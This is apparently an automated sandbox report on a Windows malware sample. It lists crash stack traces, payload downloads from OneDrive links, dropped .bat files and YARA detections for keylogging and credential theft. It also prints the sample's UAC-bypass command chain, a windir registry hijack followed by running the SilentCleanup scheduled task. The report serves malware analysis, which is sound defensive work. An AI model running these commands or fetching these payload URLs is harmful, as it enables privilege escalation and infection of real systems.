__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (3 events)

request	GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21156&authkey=ANROQ1PrS9e3Q48
request	GET https://qcjbog.sn.files.1drv.com/y4mgO4fRklhtUF1Kf7SDAuSdekFB43L0BZG2UNSJJzh-_TpHGP6L2C6bE2XeW10uMQNRcY8oVM7xSbx2HEjYQneNDnVYoSeRsbSYjstbQwkWCvix9H4beDJsWaG7xC2_tIV_HFY0ac62q2WycHpONtiW6TQzJvUVQGbnG4J6Rbm6TwwKXpMBLQkVyTj1dZZEsvdFxZnBtQN1neiXukdj7r1Ag/Hjaysdpefymbyylradymneefuugtqzs?download&psid=1
request	GET https://qcjbog.sn.files.1drv.com/y4mwPvoB139FtnSuJDqawwFNrcMC4wICzbZ5StKfB9Jl3d1tkQ2nIuBercAh2QA07rsukuKVCT0UY-yfJP7VXdaTqc2zcbRyN_idSMKGz19IiTB5xRsHlrEFB_gGUbINfT7jH_zIDa613Uk5Vo5ud_8Pdvi8EsEmPHIeNkPZucU_ax5iWnlwcXrjm3MRNEVdP4qFf0wHiaX8G6R1EjzzPbmZg/Hjaysdpefymbyylradymneefuugtqzs?download&psid=1

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2084 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f82000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2084 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\Libraries\Hjaysdp\Hjaysdp.exe
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2084 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 196608 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x02381000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (50 out of 60 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg delete hkcu\Environment /v windir /f
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 72560747f8005536c5229ce2fe0c633a8ee3c435

Allocates execute permission to another process indicative of possible code injection (12 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
